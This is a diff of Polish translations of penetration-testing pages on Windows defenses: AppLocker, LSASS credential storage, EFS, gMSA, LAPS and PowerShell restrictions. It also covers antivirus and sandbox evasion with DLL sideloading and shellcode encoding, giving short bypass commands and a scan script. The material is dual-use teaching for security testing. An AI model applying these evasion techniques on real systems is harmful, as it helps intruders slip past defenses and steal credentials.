- Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) lub [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), aby **wykonać kod Powershell** w dowolnym procesie i obejść AppLocker. Więcej informacji znajdziesz tutaj: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## Przechowywanie poświadczeń
@ -50,7 +50,7 @@ Lokalne poświadczenia znajdują się w tym pliku, hasła są haszowane.
**Poświadczenia** (haszowane) są **zapisywane** w **pamięci** tego podsystemu z powodów związanych z jednolitym logowaniem.\
**LSA** zarządza lokalną **polityką zabezpieczeń** (polityka haseł, uprawnienia użytkowników...), **uwierzytelnianiem**, **tokenami dostępu**...\
LSA będzie tą, która **sprawdzi** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **rozmawia** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domeny.
LSA będzie tą, która **sprawdzi** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **porozmawia** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domeny.
**Poświadczenia** są **zapisywane** wewnątrz **procesu LSASS**: bilety Kerberos, hasze NT i LM, łatwo odszyfrowane hasła.
@ -60,7 +60,7 @@ LSA może zapisywać na dysku niektóre poświadczenia:
- Hasło konta komputera w Active Directory (niedostępny kontroler domeny).
- Hasła kont usług Windows
- Hasła do zadań zaplanowanych
- Hasła dla zadań zaplanowanych
- Więcej (hasło aplikacji IIS...)
### NTDS.dit
@ -69,7 +69,7 @@ To baza danych Active Directory. Jest obecna tylko w kontrolerach domeny.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) to program antywirusowy dostępny w Windows 10 i Windows 11 oraz w wersjach Windows Server. **Blokuje** powszechne narzędzia pentestingowe, takie jak **`WinPEAS`**. Jednak istnieją sposoby na **obejście tych zabezpieczeń**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) to program antywirusowy dostępny w Windows 10 i Windows 11 oraz w wersjach Windows Server. **Blokuje** powszechne narzędzia pentestingowe, takie jak **`WinPEAS`**. Istnieją jednak sposoby na **obejście tych zabezpieczeń**.
### Sprawdzenie
@ -107,12 +107,12 @@ EFS zabezpiecza pliki poprzez szyfrowanie, wykorzystując **klucz symetryczny**
**Scenariusze odszyfrowania bez inicjacji użytkownika** obejmują:
- Gdy pliki lub foldery są przenoszone do systemu plików, który nie obsługuje EFS, takiego jak [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), są automatycznie odszyfrowywane.
- Gdy pliki lub foldery są przenoszone do systemu plików, który nie jest EFS, takiego jak [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), są automatycznie odszyfrowywane.
- Zaszyfrowane pliki wysyłane przez sieć za pomocą protokołu SMB/CIFS są odszyfrowywane przed transmisją.
Ta metoda szyfrowania umożliwia **przezroczysty dostęp** do zaszyfrowanych plików dla właściciela. Jednak samo zmienienie hasła właściciela i zalogowanie się nie pozwoli na odszyfrowanie.
**Kluczowe wnioski**:
**Kluczowe informacje**:
- EFS używa symetrycznego FEK, szyfrowanego kluczem publicznym użytkownika.
- Odszyfrowanie wykorzystuje klucz prywatny użytkownika do uzyskania dostępu do FEK.
@ -128,7 +128,7 @@ Możesz również użyć `cipher /e` i `cipher /d` w folderze, aby **szyfrować*
### Odszyfrowywanie plików EFS
#### Bycie systemem autoryzacji
#### Bycie systemem autoryzacyjnym
Ta metoda wymaga, aby **użytkownik ofiary** **uruchamiał** **proces** wewnątrz hosta. Jeśli tak jest, używając sesji `meterpreter`, możesz udawać token procesu użytkownika (`impersonate_token` z `incognito`). Możesz też po prostu `migrate` do procesu użytkownika.
@ -148,7 +148,7 @@ Microsoft opracował **Group Managed Service Accounts (gMSA)**, aby uprościć z
- **Możliwość zadań zaplanowanych**: W przeciwieństwie do zarządzanych kont serwisowych, gMSA wspierają uruchamianie zadań zaplanowanych.
- **Uproszczone zarządzanie SPN**: System automatycznie aktualizuje nazwę główną usługi (SPN) w przypadku zmian w szczegółach sAMaccount komputera lub nazwie DNS, co upraszcza zarządzanie SPN.
Hasła dla gMSA są przechowywane w właściwości LDAP _**msDS-ManagedPassword**_ i są automatycznie resetowane co 30 dni przez kontrolery domeny (DC). To hasło, zaszyfrowany blob danych znany jako [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), może być odzyskane tylko przez upoważnionych administratorów i serwery, na których gMSA są zainstalowane, zapewniając bezpieczne środowisko. Aby uzyskać dostęp do tych informacji, wymagane jest zabezpieczone połączenie, takie jak LDAPS, lub połączenie musi być uwierzytelnione za pomocą 'Sealing & Secure'.
Hasła dla gMSA są przechowywane w właściwości LDAP _**msDS-ManagedPassword**_ i są automatycznie resetowane co 30 dni przez kontrolery domeny (DC). To hasło, zaszyfrowany blob danych znany jako [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), może być odzyskane tylko przez uprawnionych administratorów i serwery, na których gMSA są zainstalowane, zapewniając bezpieczne środowisko. Aby uzyskać dostęp do tych informacji, wymagane jest zabezpieczone połączenie, takie jak LDAPS, lub połączenie musi być uwierzytelnione za pomocą 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
@ -158,32 +158,32 @@ Możesz odczytać to hasło za pomocą [**GMSAPasswordReader**](https://github.c
```
[**Znajdź więcej informacji w tym poście**](https://cube0x0.github.io/Relaying-for-gMSA/)
Sprawdź również tę [stronę internetową](https://cube0x0.github.io/Relaying-for-gMSA/) na temat tego, jak przeprowadzić **atak relay NTLM**, aby **odczytać** **hasło** **gMSA**.
Sprawdź także tę [stronę internetową](https://cube0x0.github.io/Relaying-for-gMSA/) na temat przeprowadzania **ataku NTLM relay** w celu **odczytania** **hasła** **gMSA**.
## LAPS
**Rozwiązanie hasła lokalnego administratora (LAPS)**, dostępne do pobrania z [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), umożliwia zarządzanie hasłami lokalnych administratorów. Hasła te są **losowe**, unikalne i **regularnie zmieniane**, przechowywane centralnie w Active Directory. Dostęp do tych haseł jest ograniczony przez ACL do uprawnionych użytkowników. Przy wystarczających uprawnieniach możliwe jest odczytanie haseł lokalnych administratorów.
**Rozwiązanie do zarządzania hasłami lokalnych administratorów (LAPS)**, dostępne do pobrania z [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), umożliwia zarządzanie hasłami lokalnych administratorów. Hasła te są **losowe**, unikalne i **regularnie zmieniane**, przechowywane centralnie w Active Directory. Dostęp do tych haseł jest ograniczony przez ACL do uprawnionych użytkowników. Przy odpowiednich uprawnieniach możliwe jest odczytanie haseł lokalnych administratorów.
{{#ref}}
active-directory-methodology/laps.md
{{#endref}}
## Tryb ograniczonego języka PS
## Tryb ograniczonego języka PowerShell
PowerShell [**Tryb ograniczonego języka**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **ogranicza wiele funkcji** potrzebnych do skutecznego korzystania z PowerShell, takich jak blokowanie obiektów COM, zezwalanie tylko na zatwierdzone typy .NET, przepływy pracy oparte na XAML, klasy PowerShell i inne.
### **Sprawdź**
```powershell
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Ominięcie
```powershell
```bash
#Easy bypass
Powershell -version 2
```
W obecnym Windows ten bypass nie zadziała, ale możesz użyć [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Aby go skompilować, możesz potrzebować** **dodać** **_Referencję_** -> _Przeglądaj_ -> _Przeglądaj_ -> dodaj `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **zmień projekt na .Net4.5**.
**Aby go skompilować, możesz potrzebować** **dodać odniesienie** -> _Przeglądaj_ -> _Przeglądaj_ -> dodaj `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **zmień projekt na .Net4.5**.
#### Bezpośredni bypass:
```bash
@ -197,8 +197,8 @@ Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerToo
## Polityka wykonania PS
Domyślnie jest ustawiona na **ograniczoną.** Główne sposoby na obejście tej polityki:
```powershell
Domyślnie jest ustawiona na **ograniczoną.** Główne sposoby obejścia tej polityki:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -

View File

@ -6,13 +6,13 @@
Lista dozwolonych aplikacji to lista zatwierdzonych aplikacji lub plików wykonywalnych, które mogą być obecne i uruchamiane w systemie. Celem jest ochrona środowiska przed szkodliwym złośliwym oprogramowaniem i niezatwierdzonym oprogramowaniem, które nie odpowiada specyficznym potrzebom biznesowym organizacji.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) to **rozwiązanie do białej listy aplikacji** firmy Microsoft, które daje administratorom systemu kontrolę nad **tym, które aplikacje i pliki mogą uruchamiać użytkownicy**. Zapewnia **szczegółową kontrolę** nad plikami wykonywalnymi, skryptami, plikami instalacyjnymi Windows, DLL, aplikacjami pakietowymi i instalatorami aplikacji pakietowych.\
Powszechną praktyką w organizacjach jest **blokowanie cmd.exe i PowerShell.exe** oraz zapisu do niektórych katalogów, **ale wszystko to można obejść**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) to **rozwiązanie do białej listy aplikacji** firmy Microsoft, które daje administratorom systemów kontrolę nad **tym, które aplikacje i pliki mogą uruchamiać użytkownicy**. Zapewnia **szczegółową kontrolę** nad plikami wykonywalnymi, skryptami, plikami instalacyjnymi Windows, DLL, aplikacjami pakietowymi i instalatorami aplikacji pakietowych.\
Powszechną praktyką w organizacjach jest **blokowanie cmd.exe i PowerShell.exe** oraz zapisu do niektórych katalogów, **ale to wszystko można obejść**.
### Sprawdzenie
Sprawdź, które pliki/rozszerzenia są na czarnej/białej liście:
```powershell
```bash
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@ -20,21 +20,21 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Ta ścieżka rejestru zawiera konfiguracje i polityki stosowane przez AppLocker, co umożliwia przeglądanie bieżącego zestawu reguł egzekwowanych w systemie:
Ta ścieżka rejestru zawiera konfiguracje i polityki stosowane przez AppLocker, zapewniając sposób na przeglądanie bieżącego zestawu reguł egzekwowanych w systemie:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Ominięcie
- Użyteczne **zapisywalne foldery** do ominięcia polityki AppLocker: Jeśli AppLocker zezwala na wykonywanie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **zapisywalne foldery**, które możesz wykorzystać do **ominięcia tego**.
- Przydatne **zapisywalne foldery** do ominięcia polityki AppLocker: Jeśli AppLocker pozwala na wykonywanie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **zapisywalne foldery**, które możesz wykorzystać do **ominięcia tego**.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Powszechnie **ufane** [**"LOLBAS"**](https://lolbas-project.github.io/) binaria mogą być również przydatne do obejścia AppLocker.
- **Źle napisane zasady mogą być również obejście**
- Powszechnie **ufane** [**binarne "LOLBAS"**](https://lolbas-project.github.io/) mogą być również przydatne do obejścia AppLocker.
- **Słabo napisane zasady mogą być również obejście**
- Na przykład, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, możesz stworzyć **folder o nazwie `allowed`** wszędzie, a będzie on dozwolony.
- Organizacje często koncentrują się na **blokowaniu pliku wykonywalnego `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ale zapominają o **innych** [**lokacjach plików wykonywalnych PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) takich jak `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` lub `PowerShell_ISE.exe`.
- **Wymuszanie DLL rzadko włączane** z powodu dodatkowego obciążenia, jakie może nałożyć na system, oraz ilości testów wymaganych do zapewnienia, że nic się nie zepsuje. Dlatego użycie **DLL jako tylnej furtki pomoże w obejściu AppLocker**.
@ -46,11 +46,11 @@ C:\windows\tracing
Lokalne poświadczenia znajdują się w tym pliku, hasła są haszowane.
### Lokalne władze zabezpieczeń (LSA) - LSASS
### Lokalna jednostka zabezpieczeń (LSA) - LSASS
**Poświadczenia** (haszowane) są **zapisywane** w **pamięci** tego podsystemu z powodów związanych z jednolitym logowaniem.\
**LSA** zarządza lokalną **polityką zabezpieczeń** (polityka haseł, uprawnienia użytkowników...), **uwierzytelnianiem**, **tokenami dostępu**...\
LSA będzie tym, który **sprawdzi** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **porozmawia** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domeny.
LSA będzie tą, która **sprawdzi** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **porozmawia** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domeny.
**Poświadczenia** są **zapisywane** wewnątrz **procesu LSASS**: bilety Kerberos, hasze NT i LM, łatwo odszyfrowane hasła.
@ -69,7 +69,7 @@ To baza danych Active Directory. Jest obecna tylko w kontrolerach domeny.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) to program antywirusowy dostępny w Windows 10 i Windows 11 oraz w wersjach Windows Server. **Blokuje** powszechne narzędzia pentestingowe, takie jak **`WinPEAS`**. Jednak istnieją sposoby na **obejście tych zabezpieczeń**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) to program antywirusowy dostępny w Windows 10 i Windows 11 oraz w wersjach Windows Server. **Blokuje** powszechne narzędzia pentestingowe, takie jak **`WinPEAS`**. Istnieją jednak sposoby na **obejście tych zabezpieczeń**.
### Sprawdzenie
@ -119,7 +119,7 @@ Ta metoda szyfrowania umożliwia **przezroczysty dostęp** do zaszyfrowanych pli
- Automatyczne odszyfrowanie występuje w określonych warunkach, takich jak kopiowanie do FAT32 lub transmisja sieciowa.
- Zaszyfrowane pliki są dostępne dla właściciela bez dodatkowych kroków.
### Sprawdź informacje EFS
### Sprawdź informacje o EFS
Sprawdź, czy **użytkownik** **korzystał** z tej **usługi**, sprawdzając, czy istnieje ta ścieżka: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
@ -142,13 +142,13 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
Microsoft opracował **Group Managed Service Accounts (gMSA)**, aby uprościć zarządzanie kontami serwisowymi w infrastrukturach IT. W przeciwieństwie do tradycyjnych kont serwisowych, które często mają włączoną opcję "**Hasło nigdy nie wygasa**", gMSA oferują bardziej bezpieczne i zarządzalne rozwiązanie:
- **Automatyczne zarządzanie hasłami**: gMSA używają złożonego, 240-znakowego hasła, które automatycznie zmienia się zgodnie z polityką domeny lub komputera. Proces ten jest obsługiwany przez usługę dystrybucji kluczy Microsoft (KDC), eliminując potrzebę ręcznych aktualizacji haseł.
- **Automatyczne zarządzanie hasłami**: gMSA używają złożonego, 240-znakowego hasła, które automatycznie zmienia się zgodnie z polityką domeny lub komputera. Proces ten jest obsługiwany przez usługę dystrybucji kluczy Microsoftu (KDC), eliminując potrzebę ręcznych aktualizacji haseł.
- **Zwiększone bezpieczeństwo**: Te konta są odporne na zablokowania i nie mogą być używane do interaktywnych logowań, co zwiększa ich bezpieczeństwo.
- **Wsparcie dla wielu hostów**: gMSA mogą być udostępniane na wielu hostach, co czyni je idealnymi dla usług działających na wielu serwerach.
- **Możliwość zadań zaplanowanych**: W przeciwieństwie do zarządzanych kont serwisowych, gMSA wspierają uruchamianie zadań zaplanowanych.
- **Uproszczone zarządzanie SPN**: System automatycznie aktualizuje nazwę główną usługi (SPN) w przypadku zmian w szczegółach sAMaccount komputera lub nazwie DNS, co upraszcza zarządzanie SPN.
Hasła dla gMSA są przechowywane w właściwości LDAP _**msDS-ManagedPassword**_ i są automatycznie resetowane co 30 dni przez kontrolery domeny (DC). To hasło, zaszyfrowany blob danych znany jako [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), może być odzyskane tylko przez upoważnionych administratorów i serwery, na których zainstalowane są gMSA, zapewniając bezpieczne środowisko. Aby uzyskać dostęp do tych informacji, wymagane jest zabezpieczone połączenie, takie jak LDAPS, lub połączenie musi być uwierzytelnione za pomocą 'Sealing & Secure'.
Hasła dla gMSA są przechowywane w właściwości LDAP _**msDS-ManagedPassword**_ i są automatycznie resetowane co 30 dni przez kontrolery domeny (DC). To hasło, zaszyfrowany blob danych znany jako [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), może być odzyskane tylko przez uprawnionych administratorów i serwery, na których gMSA są zainstalowane, zapewniając bezpieczne środowisko. Aby uzyskać dostęp do tych informacji, wymagane jest zabezpieczone połączenie, takie jak LDAPS, lub połączenie musi być uwierzytelnione za pomocą 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -158,7 +158,7 @@ Możesz odczytać to hasło za pomocą [**GMSAPasswordReader**](https://github.c
```
[**Znajdź więcej informacji w tym poście**](https://cube0x0.github.io/Relaying-for-gMSA/)
Sprawdź także tę [stronę internetową](https://cube0x0.github.io/Relaying-for-gMSA/) na temat przeprowadzania **ataku relay NTLM** w celu **odczytania** **hasła** **gMSA**.
Sprawdź także tę [stronę internetową](https://cube0x0.github.io/Relaying-for-gMSA/) na temat przeprowadzania **ataku NTLM relay** w celu **odczytania** **hasła** **gMSA**.
## LAPS
@ -173,17 +173,17 @@ Sprawdź także tę [stronę internetową](https://cube0x0.github.io/Relaying-fo
PowerShell [**Tryb ograniczonego języka**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **ogranicza wiele funkcji** potrzebnych do skutecznego korzystania z PowerShell, takich jak blokowanie obiektów COM, zezwalanie tylko na zatwierdzone typy .NET, przepływy pracy oparte na XAML, klasy PowerShell i inne.
### **Sprawdź**
```powershell
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Ominięcie
```powershell
```bash
#Easy bypass
Powershell -version 2
```
W obecnym Windows ten bypass nie zadziała, ale możesz użyć [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Aby go skompilować, możesz potrzebować** **dodać** **_Referencję_** -> _Przeglądaj_ -> _Przeglądaj_ -> dodaj `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **zmień projekt na .Net4.5**.
**Aby go skompilować, możesz potrzebować** **dodać odniesienie** -> _Przeglądaj_ -> _Przeglądaj_ -> dodaj `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **zmień projekt na .Net4.5**.
#### Bezpośredni bypass:
```bash
@ -197,8 +197,8 @@ Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerToo
## Polityka wykonania PS
Domyślnie jest ustawiona na **ograniczoną.** Główne sposoby na obejście tej polityki:
```powershell
Domyślnie jest ustawiona na **ograniczoną.** Główne sposoby obejścia tej polityki:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -

View File

@ -18,24 +18,24 @@ Jeśli zaszyfrujesz plik binarny, nie będzie możliwości wykrycia twojego prog
- **Obfuskacja**
Czasami wystarczy zmienić kilka ciągów w swoim pliku binarnym lub skrypcie, aby przejść przez AV, ale może to być czasochłonne w zależności od tego, co próbujesz obfuskować.
Czasami wystarczy zmienić kilka ciągów w twoim pliku binarnym lub skrypcie, aby przejść przez AV, ale może to być czasochłonne w zależności od tego, co próbujesz obfuskować.
- **Niestandardowe narzędzia**
Jeśli opracujesz własne narzędzia, nie będzie znanych złych sygnatur, ale zajmuje to dużo czasu i wysiłku.
> [!NOTE]
> Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie zleca Defenderowi skanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym.
> Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie prosi Defendera o zeskanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym.
Zdecydowanie polecam zapoznać się z tą [playlistą na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) na temat praktycznego unikania AV.
### **Analiza dynamiczna**
Analiza dynamiczna to sytuacja, gdy AV uruchamia twój plik binarny w piaskownicy i obserwuje złośliwą aktywność (np. próba odszyfrowania i odczytania haseł przeglądarki, wykonanie minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do obsługi, ale oto kilka rzeczy, które możesz zrobić, aby unikać piaskownic.
Analiza dynamiczna to sytuacja, gdy AV uruchamia twój plik binarny w piaskownicy i obserwuje złośliwą aktywność (np. próba odszyfrowania i odczytania haseł przeglądarki, wykonanie minidump na LSASS itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby unikać piaskownic.
- **Sen przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. Programy AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich okresów snu może zakłócić analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
- **Sprawdzanie zasobów maszyny** Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny w tym zakresie, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
- **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz celować w użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
- **Sprawdzanie zasobów maszyny** Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
- **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy defendera, więc możesz sprawić, że twój program zakończy działanie.
@ -47,20 +47,20 @@ Kilka innych naprawdę dobrych wskazówek od [@mgeeky](https://twitter.com/mariu
Jak już wcześniej wspomniano w tym poście, **publiczne narzędzia** ostatecznie **zostaną wykryte**, więc powinieneś zadać sobie pytanie:
Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimikatz**? Czy mógłbyś użyć innego projektu, który jest mniej znany i również zrzuca LSASS.
Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimikatz**? Czy możesz użyć innego projektu, który jest mniej znany i również zrzuca LSASS.
Prawidłowa odpowiedź to prawdopodobnie ta druga. Biorąc mimikatz jako przykład, prawdopodobnie jest to jeden z, jeśli nie najbardziej oznaczonych kawałków złośliwego oprogramowania przez AV i EDR, podczas gdy sam projekt jest super fajny, jest również koszmarem do pracy z nim, aby obejść AV, więc po prostu szukaj alternatyw dla tego, co próbujesz osiągnąć.
Prawidłowa odpowiedź to prawdopodobnie ta druga. Biorąc mimikatz jako przykład, prawdopodobnie jest to jeden z, jeśli nie najbardziej oznaczonych złośliwych programów przez AV i EDR, podczas gdy sam projekt jest super fajny, jest również koszmarem do pracy z nim, aby obejść AV, więc po prostu szukaj alternatyw dla tego, co próbujesz osiągnąć.
> [!NOTE]
> Podczas modyfikowania swoich ładunków w celu unikania wykrycia, upewnij się, że **wyłączyłeś automatyczne przesyłanie próbek** w defenderze, i proszę, poważnie, **NIE WYSYŁAJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
> Podczas modyfikowania swoich ładunków w celu unikania, upewnij się, że **wyłączyłeś automatyczne przesyłanie próbek** w defenderze, a proszę, poważnie, **NIE PRZESYŁAJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
## EXE vs DLL
Kiedy tylko to możliwe, zawsze **priorytetuj używanie DLL do unikania wykrycia**, z mojego doświadczenia pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik, aby uniknąć wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób uruchomienia jako DLL, oczywiście).
Kiedy tylko to możliwe, zawsze **priorytetuj używanie DLL do unikania**, z mojego doświadczenia pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik do użycia, aby uniknąć wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób uruchamiania jako DLL, oczywiście).
Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrycia 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrycia 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>porównanie antiscan.me normalnego ładunku EXE z Havoc vs normalnego ładunku DLL z Havoc</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>porównanie antiscan.me normalnego ładunku EXE z Havoc a normalnym ładunkiem DLL z Havoc</p></figcaption></figure>
Teraz pokażemy kilka trików, które możesz wykorzystać z plikami DLL, aby być znacznie bardziej dyskretnym.
@ -68,8 +68,8 @@ Teraz pokażemy kilka trików, które możesz wykorzystać z plikami DLL, aby by
**Sideloading DLL** wykorzystuje kolejność wyszukiwania DLL używaną przez loadera, umieszczając zarówno aplikację ofiary, jak i złośliwe ładunki obok siebie.
Możesz sprawdzić programy podatne na Sideloading DLL, używając [Siofra](https://github.com/Cybereason/siofra) oraz następującego skryptu powershell:
```powershell
Możesz sprawdzić programy podatne na Sideloading DLL używając [Siofra](https://github.com/Cybereason/siofra) oraz następującego skryptu powershell:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
@ -77,7 +77,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
To polecenie wyświetli listę programów podatnych na DLL hijacking w "C:\Program Files\\" oraz pliki DLL, które próbują załadować.
Zalecam **samodzielne zbadanie programów podatnych na DLL Hijackable/Sideloadable**, ta technika jest dość dyskretna, jeśli jest wykonana prawidłowo, ale jeśli użyjesz publicznie znanych programów Sideloadable, możesz łatwo zostać złapany.
Zalecam **samodzielne zbadanie programów podatnych na DLL Hijackable/Sideloadable**, ta technika jest dość dyskretna, jeśli jest wykonana poprawnie, ale jeśli użyjesz publicznie znanych programów Sideloadable, możesz łatwo zostać złapany.
Samo umieszczenie złośliwego DLL o nazwie, którą program oczekuje załadować, nie załaduje twojego ładunku, ponieważ program oczekuje pewnych specyficznych funkcji w tym DLL. Aby rozwiązać ten problem, użyjemy innej techniki zwanej **DLL Proxying/Forwarding**.
@ -92,7 +92,7 @@ Oto kroki, które wykonałem:
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
